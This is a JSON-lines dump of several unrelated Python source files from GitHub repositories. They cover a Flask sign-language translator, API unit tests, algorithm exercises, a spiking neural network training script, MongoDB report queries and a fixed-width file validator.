time\n\n# For Filtring wrords\nnltk.download('wordnet')\nnltk.download('punkt')\nnltk.download('stopwords')\nwnl = nltk.stem.WordNetLemmatizer()\n\n# From Sign To Text\n# Load the saved SVM model\nwith open('model.pkl', 'rb') as f:\n svm = pickle.load(f)\n\n# Initialize the Flask app\napp = Flask(__name__)\n\n# Define the server's route\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n@app.route('/home')\ndef home():\n return render_template('home.html')\n\n# Initialize an empty list to store the prediction results\npredictions = []\n\n# Define the function to process the hand image and make predictions\ndef image_processed(hand_img):\n # Convert BGR to RGB\n img_rgb = cv2.cvtColor(hand_img, cv2.COLOR_BGR2RGB)\n\n # Flip the image in Y-axis\n img_flip = cv2.flip(img_rgb, 1)\n\n # Accessing MediaPipe solutions\n mp_hands = mp.solutions.hands\n\n # Initialize Hands\n hands = mp_hands.Hands(static_image_mode=True, max_num_hands=2, min_detection_confidence=0.7)\n\n # Process the image\n output = hands.process(img_flip)\n\n # Close the Hands object\n hands.close()\n\n try:\n # Extract the hand landmarks from the output\n data = output.multi_hand_landmarks[0]\n data = str(data)\n data = data.strip().split('\\n')\n\n # Remove the unnecessary information from the landmark data\n garbage = ['landmark {', ' visibility: 0.0', ' presence: 0.0', '}']\n without_garbage = []\n for i in data:\n if i not in garbage:\n without_garbage.append(i)\n\n clean = []\n for i in without_garbage:\n i = i.strip()\n clean.append(i[2:])\n\n for i in range(0, len(clean)):\n clean[i] = float(clean[i])\n\n # Return the cleaned hand landmark data\n return(clean)\n except:\n # If no hand landmarks are detected, return an array of zeros\n return(np.zeros([1,63], dtype=int)[0])\n\n# Define the video capture function\ndef generate_frames():\n # Initialize the video capture\n cap = cv2.VideoCapture(0)\n\n # Loop over the frames from the video stream\n while True:\n # Read a frame from the video stream\n success, frame = cap.read()\n\n if not success:\n break\n frame = cv2.flip(frame,1)\n # Process the frame to get the hand landmarks\n hand_landmarks = image_processed(frame)\n\n # Use the SVM to make a prediction based on the landmarks\n prediction = svm.predict([hand_landmarks])[0]\n\n # Append the prediction to the predictions list\n predictions.append(prediction)\n\n # Draw the prediction on the frame\n cv2.putText(frame, prediction, (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n\n # Encode the frame as a jpeg image\n ret, buffer = cv2.imencode('.jpg', frame)\n frame = buffer.tobytes()\n\n # Yield the encoded frame\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n # Release the video capture\n cap.release()\n\n# Define the route for the video stream\n@app.route('/video')\ndef video():\n return Response(generate_frames(), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n# Define the route for getting the prediction result\n@app.route('/results.json')\ndef results():\n # If the predictions list is not empty, return the last prediction as a JSON object\n if predictions:\n return json.dumps({'prediction': predictions[-1]})\n else:\n # If the predictions list is empty, return an empty JSON object\n return json.dumps({})\n \n# From Text/Voice to Sign\n# Define the route for processing the form submission\n@app.route('/submit', methods=['POST'])\ndef submit():\n text = request.form['text']\n stop = nltk.corpus.stopwords.words('english')\n stop_words=['@','#',\"http\",\":\",\"is\",\"the\",\"are\",\"am\",\"a\",\"it\",\"was\",\"were\",\"an\",\",\",\".\",\"?\",\"!\",\";\",\"/\"]\n for i in stop_words:\n stop.append(i)\n\n #processing the text using bag of wor\n tokenized_text = nltk.tokenize.word_tokenize(text)\n lemmed = [wnl.lemmatize(word) for word in tokenized_text]\n processed=[]\n for i in lemmed :\n if i == \"i\" or i == \"I\":\n processed.append(\"me\")\n elif i not in stop:\n i=i.lower()\n processed.append((i))\n print(\"Keywords:\",processed)\n\n #Showing animation of the keywords.\n assets_list=['0.mp4', '1.mp4', '2.mp4', '3.mp4', '4.mp4', '5.mp4','6.mp4', '7.mp4', '8.mp4', '9.mp4', 'a.mp4', 'after.mp4',\n 'again.mp4', 'against.mp4', 'age.mp4', 'all.mp4', 'alone.mp4','also.mp4', 'and.mp4', 'ask.mp4', 'at.mp4', 'b.mp4', 'be.mp4',\n 'beautiful.mp4', 'before.mp4', 'best.mp4', 'better.mp4', 'busy.mp4', 'but.mp4', 'bye.mp4', 'c.mp4', 'can.mp4', 'cannot.mp4',\n 'change.mp4', 'college.mp4', 'come.mp4', 'computer.mp4', 'd.mp4', 'day.mp4', 'distance.mp4', 'do not.mp4', 'do.mp4', 'does not.mp4',\n 'e.mp4', 'eat.mp4', 'engineer.mp4', 'f.mp4', 'fight.mp4', 'finish.mp4', 'from.mp4', 'g.mp4', 'glitter.mp4', 'go.mp4', 'god.mp4',\n 'gold.mp4', 'good.mp4', 'great.mp4', 'h.mp4', 'hand.mp4', 'hands.mp4', 'happy.mp4', 'hello.mp4', 'help.mp4', 'her.mp4', 'here.mp4',\n 'his.mp4', 'home.mp4', 'homepage.mp4', 'how.mp4', 'i.mp4', 'invent.mp4', 'it.mp4', 'j.mp4', 'k.mp4', 'keep.mp4', 'l.mp4', 'language.mp4', 'laugh.mp4',\n 'learn.mp4', 'm.mp4', 'me.mp4', 'mic3.png', 'more.mp4', 'my.mp4', 'n.mp4', 'name.mp4', 'next.mp4', 'not.mp4', 'now.mp4', 'o.mp4', 'of.mp4', 'on.mp4',\n 'our.mp4', 'out.mp4', 'p.mp4', 'pretty.mp4', 'q.mp4', 'r.mp4', 'right.mp4', 's.mp4', 'sad.mp4', 'safe.mp4', 'see.mp4', 'self.mp4', 'sign.mp4', 'sing.mp4', \n 'so.mp4', 'sound.mp4', 'stay.mp4', 'study.mp4', 't.mp4', 'talk.mp4', 'television.mp4', 'thank you.mp4', 'thank.mp4', 'that.mp4', 'they.mp4', 'this.mp4', 'those.mp4', \n 'time.mp4', 'to.mp4', 'type.mp4', 'u.mp4', 'us.mp4', 'v.mp4', 'w.mp4', 'walk.mp4', 'wash.mp4', 'way.mp4', 'we.mp4', 'welcome.mp4', 'what.mp4', 'when.mp4', 'where.mp4', \n 'which.mp4', 'who.mp4', 'whole.mp4', 'whose.mp4', 'why.mp4', 'will.mp4', 'with.mp4', 'without.mp4', 'words.mp4', 'work.mp4', 'world.mp4', 'wrong.mp4', 'x.mp4', 'y.mp4',\n 'you.mp4', 'your.mp4', 'yourself.mp4', 'z.mp4']\n tokens_sign_lan=[]\n\n for word in processed:\n string = str(word+\".mp4\")\n if string in assets_list:\n tokens_sign_lan.append(str(\"assets/\"+string))\n else:\n for j in word:\n tokens_sign_lan.append(str(\"assets/\"+j+\".mp4\"))\n\n def generate_frames(video_file):\n cap = cv2.VideoCapture(video_file)\n if not cap.isOpened():\n raise ValueError(\"Error File Not Found\")\n while True:\n label = video_file.replace(\"assets/\",\"\").replace(\".mp4\",\"\")\n fps= int(cap.get(cv2.CAP_PROP_FPS))\n ret, frame = cap.read()\n if not ret:\n break\n time.sleep(1/fps)\n frame = cv2.putText(frame, label, (10, 60), cv2.FONT_HERSHEY_SIMPLEX, 1, (0,255,0), 1, cv2.LINE_AA)\n ret, buffer = cv2.imencode('.jpg', frame)\n frame = buffer.tobytes()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n cap.release()\n\n # Concatenate the video frames from all the video files\n def generate_all_frames():\n for video_file in tokens_sign_lan:\n label = video_file.replace(\"assets/\",\"\").replace(\".mp4\",\"\")\n yield from generate_frames(video_file)\n\n return Response(generate_all_frames(), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n# Run the Server\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"TArOoO2/Sign-Language-Recognizer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12999127790","text":"\nfrom unittest import TestCase\n\nimport omdb\n\n\nclass TestApi(TestCase):\n\n def test_search(self):\n s = 'True Grit'\n data = omdb.search(s)\n\n self.assertEqual(data[0].title, s)\n\n def test_imdbid(self):\n i = 'tt0065126'\n data = omdb.imdbid(i)\n\n self.assertEqual(data.imdb_id, i)\n\n def test_title(self):\n t = 'True Grit'\n data = omdb.title(t)\n\n self.assertEqual(data.title, t)\n\n def test_set_default(self):\n t = 'True Grit'\n\n self.assertEqual(omdb.title(t).year, '2010')\n\n omdb.set_default('year', '1969')\n\n self.assertEqual(omdb.title(t).year, '1969')\n\n def test_get(self):\n self.assertEqual(omdb.get(title='True Grit').title, 'True Grit')\n self.assertEqual(omdb.get(imdbid='tt0065126').imdb_id, 'tt0065126')\n self.assertEqual(omdb.get(search='True Grit')[0].title, 'True Grit')\n\n def test_empty_data(self):\n invalid = 'asdfghjkl'\n\n self.assertEqual(omdb.search(invalid), [])\n self.assertEqual(omdb.title(invalid), {})\n self.assertEqual(omdb.imdbid(invalid), {})\n\n def test_search_model_fields(self):\n expected_fields = [\n 'title',\n 'year',\n 'type',\n 'imdb_id'\n ]\n\n for item in omdb.search('True Grit'):\n self.assertEqual(set(item.keys()), set(expected_fields))\n\n def test_get_model_fields(self):\n expected_fields = [\n 'actors',\n 'director',\n 'genre',\n 'plot',\n 'poster',\n 'rated',\n 'released',\n 'runtime',\n 'title',\n 'type',\n 'writer',\n 'year',\n 'imdb_id',\n 'imdb_rating',\n 'imdb_votes'\n ]\n\n self.assertEqual(set(omdb.title('True Grit').keys()), set(expected_fields))\n self.assertEqual(set(omdb.imdbid('tt0065126').keys()), set(expected_fields))\n\n def test_get_model_fields_tomatoes(self):\n expected_fields = [\n 'actors',\n 'director',\n 'genre',\n 'plot',\n 'poster',\n 'rated',\n 'released',\n 'runtime',\n 'title',\n 'type',\n 'writer',\n 'year',\n 'imdb_id',\n 'imdb_rating',\n 'imdb_votes',\n\n 'box_office',\n 'dvd',\n 'production',\n 'website',\n 'tomato_consensus',\n 'tomato_fresh',\n 'tomato_image',\n 'tomato_meter',\n 'tomato_rating',\n 'tomato_reviews',\n 'tomato_rotten',\n 'tomato_user_meter',\n 'tomato_user_rating',\n 'tomato_user_reviews'\n ]\n\n self.assertEqual(set(omdb.title('True Grit', tomatoes=True).keys()), set(expected_fields))\n self.assertEqual(set(omdb.imdbid('tt0065126', tomatoes=True).keys()), set(expected_fields))\n","repo_name":"rishirajsinghjhelumi/Entity-Mining","sub_path":"assets/omdb.py-master/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38418694184","text":"from typing import IO, List\n\nfrom cfinterface.components.section import Section\nfrom cfinterface.data.sectiondata import SectionData\nfrom cfinterface.writing.sectionwriting import SectionWriting\n\nfrom tests.mocks.mock_open import mock_open\nfrom io import StringIO\nfrom unittest.mock import MagicMock, patch\n\n\nclass DummySection(Section):\n def __eq__(self, o: object) -> bool:\n if not isinstance(o, self.__class__):\n return False\n else:\n return o.data == self.data\n\n def read(self, file: IO) -> bool:\n self.data: List[str] = []\n line: str = file.readline()\n self.data.append(line)\n return True\n\n def write(self, file: IO) -> bool:\n file.write(self.data)\n return True\n\n\ndef test_sectionwriting_withdata():\n filedata = \"Hello, World!\"\n bd = SectionData(DummySection(data=filedata))\n bw = SectionWriting(bd)\n m: MagicMock = mock_open(read_data=filedata)\n with patch(\"builtins.open\", m):\n bw.write(\"\", \"utf-8\")\n m().write.assert_called_once_with(filedata)\n\n\ndef test_sectionwriting_withdata_tobuffer():\n filedata = \"Hello, World!\"\n bd = SectionData(DummySection(data=filedata))\n bw = SectionWriting(bd)\n m = StringIO(\"\")\n bw.write(m, \"utf-8\")\n assert m.getvalue() == filedata\n","repo_name":"rjmalves/cfi","sub_path":"tests/writing/test_sectionwriting.py","file_name":"test_sectionwriting.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"1550275102","text":"class UnitFind:\n\n def __init__(self, grids):\n row = len(grids)\n col = len(grids[0])\n self.roots = [i * row + j for i in range(row) for j in range(col)]\n self.rank = [0] * (row * col)\n self.count = 0\n for i in range(row):\n for j in range(col):\n if grids[i][j] == '1':\n self.roots[i * col + j] = i * col + j\n self.count += 1\n\n def findRoot(self, i):\n root = i\n while self.roots[root] != root:\n root = self.roots[root]\n # 重新排列这个i的父序列,重拍,减小直接到root的层级\n while self.roots[i] != i:\n temp = self.roots[i]\n self.roots[i] = root\n i = temp\n return root\n\n def union(self, p, q):\n rootP = self.findRoot(p)\n rootQ = self.findRoot(q)\n if rootP != rootQ:\n if self.rank[rootP] < self.rank[rootQ]:\n self.roots[rootP] = rootQ\n elif self.rank[rootP] > self.rank[rootQ]:\n self.roots[rootQ] = rootP\n else:\n self.roots[rootQ] = rootP\n self.rank[rootP] += 1\n self.count -= 1\n\n\nclass Solution(object):\n dirs = ((-1, 0), (1, 0), (0, -1), (0, 1))\n\n def numIslands(self, grid):\n \"\"\"\n :type grid: List[List[str]]\n :rtype: int\n \"\"\"\n if not grid:\n return 0\n quickU = UnitFind(grid)\n row = len(grid)\n col = len(grid[0])\n for i in range(row):\n for j in range(col):\n if grid[i][j] == '0':\n continue\n for dir in self.dirs:\n nr, nc = i + dir[0], j + dir[1]\n if 0 <= nr < row and 0 <= nc < col and grid[nr][nc] == '1':\n quickU.union(i * col + j, nr * col + nc)\n return quickU.count","repo_name":"PykeChen/pythonBasicGramer","sub_path":"quickUnionFind.py","file_name":"quickUnionFind.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10292963581","text":"\"\"\"\n가사 검색 - 2회차\n\"\"\"\n\n# 풀이 제한 시간 : 1시간 30분\n# 2020/12/10 11:16 ~ 11:26\n\nfrom bisect import bisect_left, bisect_right\n\narray = [[] for _ in range(10001)]\nreversed_array = [[] for _ in range(10001)]\n\ndef countByRange(array, start, end):\n min_value = bisect_left(array, start)\n max_value = bisect_right(array, end)\n\n return max_value - min_value\n\ndef solution(words, queries):\n answer = []\n\n for word in words:\n array[len(word)].append(word)\n reversed_array[len(word)].append(word[::-1])\n\n for i in range(10001):\n array[i].sort()\n reversed_array[i].sort()\n\n for q in queries:\n if q[0] != '?':\n # array[len(q)] 빼먹음\n result = countByRange(array[len(q)], q.replace('?', 'a'), q.replace('?', 'z'))\n answer.append(result)\n else:\n result = countByRange(reversed_array[len(q)], q[::-1].replace('?', 'a'), q[::-1].replace('?', 'z'))\n answer.append(result)\n\n return answer","repo_name":"LeeSeok-Jun/Algorithms","sub_path":"algorithms_questions/ch15_search/q30_1.py","file_name":"q30_1.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37937647041","text":"\r\n\r\n# you can write to stdout for debugging purposes, e.g.\r\n# print(\"this is a debug message\")\r\n\r\ndef solution(A):\r\n if A:\r\n z= sorted(A)\r\n dom = z[len(A)//2]\r\n x = A.count(dom)\r\n if x > len(A)//2:\r\n return A.index(dom)\r\n else:\r\n return -1\r\n else:\r\n return -1\r\n\r\n\r\n\r\n\r\nprint(solution( [1, 2, 1]))","repo_name":"PillarofMorning/Codility","sub_path":"codility dominator.py","file_name":"codility dominator.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9921606208","text":"import torch\r\nimport torch.nn.functional as F\r\nfrom torch.cuda import amp\r\nfrom spikingjelly.activation_based import functional, neuron\r\nfrom torch.utils.data import DataLoader\r\nimport time\r\nimport argparse\r\nimport datetime\r\nimport model\r\nimport data\r\nimport numpy as np\r\n\r\n\r\ntorch.backends.cudnn.benchmark = True\r\n_seed_ = 202208\r\ntorch.manual_seed(_seed_) \r\ntorch.backends.cudnn.deterministic = True\r\ntorch.backends.cudnn.benchmark = False\r\nnp.random.seed(_seed_)\r\n\r\n\r\ndef load_data(args):\r\n if args.dataset == \"SHD\":\r\n train_ds = data.SHD(train=True, dt=args.dt, T=args.T)\r\n test_ds = data.SHD(train=False, dt=args.dt, T=args.T)\r\n train_dl = DataLoader(train_ds, shuffle=True, batch_size=args.batch_size, pin_memory=True)\r\n test_dl = DataLoader(test_ds, shuffle=False, batch_size=args.batch_size, pin_memory=True)\r\n return train_dl, test_dl\r\n\r\n\r\ndef main():\r\n # python ./classify_shd.py -dataset SHD -T 15 -dt 60 -device cuda:0 -batch_size 256 -epochs 1000 -opt adam -lr 0.0001 -loss MSE\r\n\r\n parser = argparse.ArgumentParser(description='Classify SHD')\r\n parser.add_argument(\"-dataset\",type=str,default=\"SHD\")\r\n parser.add_argument(\"-batch_size\",type=int,default=256) \r\n parser.add_argument(\"-T\",type=int,default=15,help='simulating time-steps') \r\n parser.add_argument(\"-dt\",type=int,default=60,help='frame time-span') \r\n parser.add_argument('-device', default='cuda:0', help='device')\r\n parser.add_argument('-epochs', default=200, type=int, metavar='N',\r\n help='number of total epochs to run')\r\n parser.add_argument('-amp', default=True, type=bool, help='automatic mixed precision training')\r\n parser.add_argument('-cupy', default=True, type=bool, help='use cupy backend')\r\n parser.add_argument('-opt', default=\"adam\", type=str, help='use which optimizer. SDG or Adam')\r\n parser.add_argument('-momentum', default=0.9, type=float, help='momentum for SGD')\r\n parser.add_argument('-lr', default=0.0001, type=float, help='learning rate')\r\n parser.add_argument('-loss', default=\"MSE\", type=str, help='loss function')\r\n\r\n args = parser.parse_args()\r\n print(args)\r\n\r\n net = model.SHD_STSC()\r\n\r\n functional.set_step_mode(net, 'm')\r\n if args.cupy:\r\n functional.set_backend(net, 'cupy', instance=neuron.LIFNode)\r\n\r\n\r\n print(net)\r\n net.to(args.device)\r\n\r\n train_data_loader, test_data_loader = load_data(args) \r\n\r\n\r\n scaler = None\r\n if args.amp:\r\n scaler = amp.GradScaler()\r\n\r\n start_epoch = 0\r\n max_test_acc = -1\r\n\r\n optimizer = None\r\n if args.opt == 'sgd':\r\n optimizer = torch.optim.SGD(net.parameters(), lr=args.lr, momentum=args.momentum)\r\n elif args.opt == 'adam':\r\n optimizer = torch.optim.Adam(net.parameters(), lr=args.lr)\r\n else:\r\n raise NotImplementedError(args.opt)\r\n\r\n lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 1000)\r\n\r\n for epoch in range(start_epoch, args.epochs):\r\n start_time = time.time()\r\n net.train()\r\n train_loss = 0\r\n train_acc = 0\r\n train_samples = 0\r\n for frame, label in train_data_loader:\r\n optimizer.zero_grad()\r\n frame = frame.to(args.device)\r\n frame = frame.transpose(0, 1) # [B, T, N] -> [T, B, N]\r\n label = label.to(args.device)\r\n label_onehot = F.one_hot(label.to(torch.int64), 20).float()\r\n\r\n if scaler is not None:\r\n with amp.autocast():\r\n if args.loss == \"MSE\":\r\n out_fr = net(frame).mean(0)\r\n loss = F.mse_loss(out_fr, label_onehot)\r\n scaler.scale(loss).backward()\r\n scaler.step(optimizer)\r\n scaler.update()\r\n else:\r\n if args.loss == \"MSE\":\r\n out_fr = net(frame).mean(0)\r\n loss = F.mse_loss(out_fr, label_onehot)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n train_samples += label.numel()\r\n train_loss += loss.item() * label.numel()\r\n train_acc += (out_fr.argmax(1) == label).float().sum().item()\r\n\r\n functional.reset_net(net)\r\n\r\n train_time = time.time()\r\n train_speed = train_samples / (train_time - start_time)\r\n train_loss /= train_samples\r\n train_acc /= train_samples\r\n\r\n lr_scheduler.step()\r\n\r\n net.eval()\r\n test_loss = 0\r\n test_acc = 0\r\n test_samples = 0\r\n with torch.no_grad():\r\n for frame, label in test_data_loader:\r\n frame = frame.to(args.device)\r\n frame = frame.transpose(0, 1) # [B, T, N] -> [T, B, N]\r\n label = label.to(args.device)\r\n label_onehot = F.one_hot(label.to(torch.int64), 20).float()\r\n out_fr = None\r\n if args.loss == \"MSE\":\r\n out_fr = net(frame).mean(0)\r\n loss = F.mse_loss(out_fr, label_onehot)\r\n test_samples += label.numel()\r\n test_loss += loss.item() * label.numel()\r\n test_acc += (out_fr.argmax(1) == label).float().sum().item()\r\n functional.reset_net(net)\r\n test_time = time.time()\r\n test_speed = test_samples / (test_time - train_time)\r\n test_loss /= test_samples\r\n test_acc /= test_samples\r\n\r\n if test_acc > max_test_acc:\r\n max_test_acc = test_acc\r\n\r\n print(args)\r\n print(f'epoch = {epoch}, train_loss ={train_loss: .4f}, train_acc ={train_acc: .4f}, test_loss ={test_loss: .4f}, test_acc ={test_acc: .4f}, max_test_acc ={max_test_acc: .4f}')\r\n print(f'train speed ={train_speed: .4f} images/s, test speed ={test_speed: .4f} images/s')\r\n print(f'escape time = {(datetime.datetime.now() + datetime.timedelta(seconds=(time.time() - start_time) * (args.epochs - epoch))).strftime(\"%Y-%m-%d %H:%M:%S\")}\\n')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"Tab-ct/STSC-SNN","sub_path":"classify_shd.py","file_name":"classify_shd.py","file_ext":"py","file_size_in_byte":6038,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"52"} +{"seq_id":"12612413211","text":"from bson import ObjectId\n\nfrom models.enrollment import Enrollment\nfrom repositories.interface_repository import InterfaceRepository\n\n\nclass ReportsRepository(InterfaceRepository[Enrollment]):\n\n def get_grades_stats(self):\n query_aggregation = {\n \"$group\": {\n \"_id\": \"$student\",\n \"count\": {\"$sum\": 1}\n }\n }\n query_sort = {\n \"$sort\": {\n \"count\": 1\n }\n }\n query_limit = {\n \"$limit\": 15\n }\n pipeline = [query_aggregation, query_sort, query_limit]\n return self.query_aggregation(pipeline)\n\n def get_students_enrollments(self, id_: str = \"-1\", limit: int = None) -> list:\n \"\"\"\n\n :param limit:\n :param id_:\n :return:\n \"\"\"\n # Equivalent to WHERE student_fk = ObjectId(id_)\n query_match = {\"$match\": {}}\n if id_ != \"-1\":\n query_match = {\n \"$match\": {\n \"student.$id\": ObjectId(id_)\n }\n }\n # Equivalent to make a INNER JOIN\n query_lookup = {\n \"$lookup\": {\n \"from\": \"student\",\n \"localField\": \"student.$id\",\n \"foreignField\": \"_id\",\n \"as\": \"students_info\"\n },\n \"$unwind\": \"$students_info\"\n }\n # Equivalent to GROUP BY\n query_group = {\n \"$group\": {\n \"_id\": \"$students_info\",\n \"enrollments\": {\"$sum\": 1}\n }\n }\n # Clean the response, using equivalent to ALIAS and ORDER BY\n query_add_fields = {\n \"$addFields\": {\n \"name\": \"$_id.name\",\n \"lastname\": \"$_id.lastname\",\n \"personal_id\": \"$_id.personal_id\",\n \"_id\": \"$_id._id\"\n },\n \"$sort\": {\n \"enrollments\": 1\n }\n }\n query_limit = {}\n if limit:\n query_limit = {\n \"$limit\": limit\n }\n pipeline = [query_match, query_lookup, query_group, query_add_fields, query_limit]\n return self.query_aggregation(pipeline)\n\n def get_course_enrollments(self, id_: str) -> list:\n \"\"\"\n\n :param id_:\n :return:\n \"\"\"\n # Equivalent to WHERE course_fk = ObjectId(id_)\n query_match = {\"$match\": {}}\n if id_ != \"-1\":\n query_match = {\n \"$match\": {\n \"course.$id\": ObjectId(id_)\n }\n }\n # Equivalent to make a INNER JOIN\n query_lookup = {\n \"$lookup\": {\n \"from\": \"course\",\n \"localField\": \"course.$id\",\n \"foreignField\": \"_id\",\n \"as\": \"course_info\"\n }\n }\n query_unwind = {\n \"$unwind\": \"$course_info\"\n }\n # Equivalent to GROUP BY\n query_group = {\n \"$group\": {\n \"_id\": \"$course_info\",\n \"enrollments\": {\"$sum\": 1}\n }\n }\n # Clean the response, using equivalent to ALIAS and ORDER BY DESC\n query_add_fields = {\n \"$addFields\": {\n \"name\": \"$_id.name\",\n \"credits\": \"$_id.credits\",\n \"_id\": \"$_id._id\"\n }\n }\n query_sort = {\n \"$sort\": {\n \"enrollments\": -1\n }\n }\n pipeline = [query_match,\n query_lookup,\n query_unwind,\n query_group,\n query_add_fields,\n query_sort]\n return self.query_aggregation(pipeline)\n\n def get_department_enrollments(self) -> list:\n \"\"\"\n\n :return:\n \"\"\"\n # Equivalent to make an INNER JOIN courses\n query_preprocess_courses = {\n \"$lookup\": {\n \"from\": \"course\",\n \"localField\": \"course.$id\",\n \"foreignField\": \"_id\",\n \"as\": \"course_info\"\n },\n }\n query_unwind_courses = {\n \"$unwind\": \"$course_info\"\n }\n # Equivalent to make a GROUP BY courses\n query_group_courses = {\n \"$group\": {\n \"_id\": \"$course_info\",\n \"count\": {\"$sum\": 1}\n }\n }\n query_add_fields_department = {\n \"$addFields\": {\n \"department\": \"$_id.department\"\n }\n }\n # Equivalent to make an INNER JOIN departments\n query_process_departments = {\n \"$lookup\": {\n \"from\": \"department\",\n \"localField\": \"department.$id\",\n \"foreignField\": \"_id\",\n \"as\": \"department_info\"\n }\n }\n query_unwind_department = {\n \"$unwind\": \"$department_info\"\n }\n # Equivalent to make GROUP BY and ORDER BY departments\n query_group_departments = {\n \"$group\": {\n \"_id\": \"$department_info\",\n \"enrollments\": {\"$sum\": \"$count\"}\n },\n }\n query_add_fields = {\n \"$addFields\": {\n \"name\": \"$_id.name\",\n \"_id\": \"$_id._id\"\n }\n }\n pipeline = [query_preprocess_courses,\n query_unwind_courses,\n query_group_courses,\n query_add_fields_department,\n query_process_departments,\n query_unwind_department,\n query_group_departments,\n query_add_fields]\n return self.query_aggregation(pipeline)\n\n def get_departments_distribution(self) -> list:\n \"\"\"\n\n :return:\n \"\"\"\n winners = 15\n # Equivalent to make an INNER JOIN courses\n query_preprocess_courses = {\n \"$lookup\": {\n \"from\": \"course\",\n \"localField\": \"course.$id\",\n \"foreignField\": \"_id\",\n \"as\": \"course_info\"\n },\n \"$unwind\": \"$course_info\"\n }\n # Equivalent to make a GROUP BY courses\n query_group_courses = {\n \"$group\": {\n \"_id\": \"$course_info\",\n \"count\": {\"$sum\": 1}\n },\n \"$sort\": {\n \"enrollments\": -1\n },\n \"$limit\": winners,\n \"$addFields\": {\n \"department\": \"$_id.department\"\n }\n }\n # Equivalent to make an INNER JOIN departments\n query_process_departments = {\n \"$lookup\": {\n \"from\": \"department\",\n \"localField\": \"department.$id\",\n \"foreignField\": \"_id\",\n \"as\": \"department_info\"\n },\n \"$unwind\": \"$department_info\"\n }\n # Equivalent to make GROUP BY and ORDER BY departments\n query_group_departments = {\n \"$group\": {\n \"_id\": \"$department_info\",\n \"enrollments\": {\"$sum\": \"$count\"}\n },\n \"$addFields\": {\n \"name\": \"$_id.name\",\n \"_id\": \"$_id._id\"\n }\n }\n pipeline = [query_preprocess_courses, query_group_courses, query_process_departments, query_group_departments]\n return self.query_aggregation(pipeline)\n","repo_name":"MisionTIC-2022-Ciclo-4a-UNAL/academic_backend","sub_path":"repositories/reports_repository.py","file_name":"reports_repository.py","file_ext":"py","file_size_in_byte":7454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40556149346","text":"filename = input(\"Please input file name with extension (e.g. filename.txt): \")\r\n\r\nf = open(filename,\"r\")\r\nf2 = open('SPOWNER_Check.txt','w')\r\n\r\n# 2. Read the text file row by row\r\ncontent_list = f.readlines()\r\n\r\n# 3. Define convert string to list function\r\ndef convert(string):\r\n list1=[]\r\n list1[:0]=string\r\n return list1\r\n\r\n# 4. User to input Position Date\r\nfile_date = input(\"Please input the Position date in YYYYMMDD format (e.g. 20211217): \")\r\n\r\n# 5. User to input Creation Date\r\ncreation_date = input(\"Please input the Creation date in YYYYMMDD format (e.g. 20211217): \")\r\n\r\n\r\n# 6. Check HDR\r\n# 6a. HDR, Date checks\r\nfirst_row = convert(content_list[0])\r\nhdrcheck = first_row[0:3] == [\"H\", \"D\", \"R\"]\r\ncreationdatecheck = first_row[11:19] == convert(creation_date)\r\nfiledatecheck = creationdatecheck #Cut off date leave as blanks\r\n\r\n\r\nif hdrcheck == True:\r\n f2.write(\"Format and position of HDR is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and position of HDR is WRONG.\\n\")\r\n\r\nif filedatecheck == True:\r\n f2.write(\"Format and position of File Date is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and position of File Date is WRONG.\\n\")\r\n\r\nif creationdatecheck == True:\r\n f2.write(\"Format and position of Creation Date is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and position of Creation Date is WRONG.\\n\")\r\n\r\n#6b. Check timestamp is in correct format and position, will not be able to check whether exact time is correct\r\n\r\ntimehour = int(first_row[19]) < 3\r\ntimeminute = int(first_row[21]) < 6\r\ntimesecond = int(first_row[23]) < 6\r\n\r\nif timehour == True and timeminute == True and timesecond == True:\r\n f2.write(\"Format and position of Report Creation Time is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"Format and position of Report Creation Time is WRONG.\\n\")\r\n\r\n#6c. Check file name \"CIF20211102001\"\r\n\r\nprefix = first_row[25:32] == convert(\"SPOWNER\")\r\nfilenamedatecheck = first_row[32:40] == convert(file_date)\r\nsuffix = first_row[40:43] == convert(\"001\")\r\n\r\nif prefix == True and filenamedatecheck == True and suffix == True:\r\n f2.write(\"Format and position of File name is CORRECT.\\n\")\r\nelif prefix == False:\r\n f2.write(\"File name prefix is WRONG.\\n\")\r\nelif filenamedatecheck == False:\r\n f2.write(\"Date of File name is WRONG.\\n\")\r\nelif suffix == False:\r\n f2.write(\"Suffix of file name is WRONG.\\n\")\r\n\r\n#6f. Check file description\r\nfiledesccheck = first_row[45:75] == convert('Sole Prop Owner Info File ')\r\nif filedesccheck == True:\r\n f2.write(\"File description is CORRECT.\\n\")\r\nelse:\r\n f2.write(\"File description is WRONG.\\n\")\r\n\r\n# 6g. Check Scheme 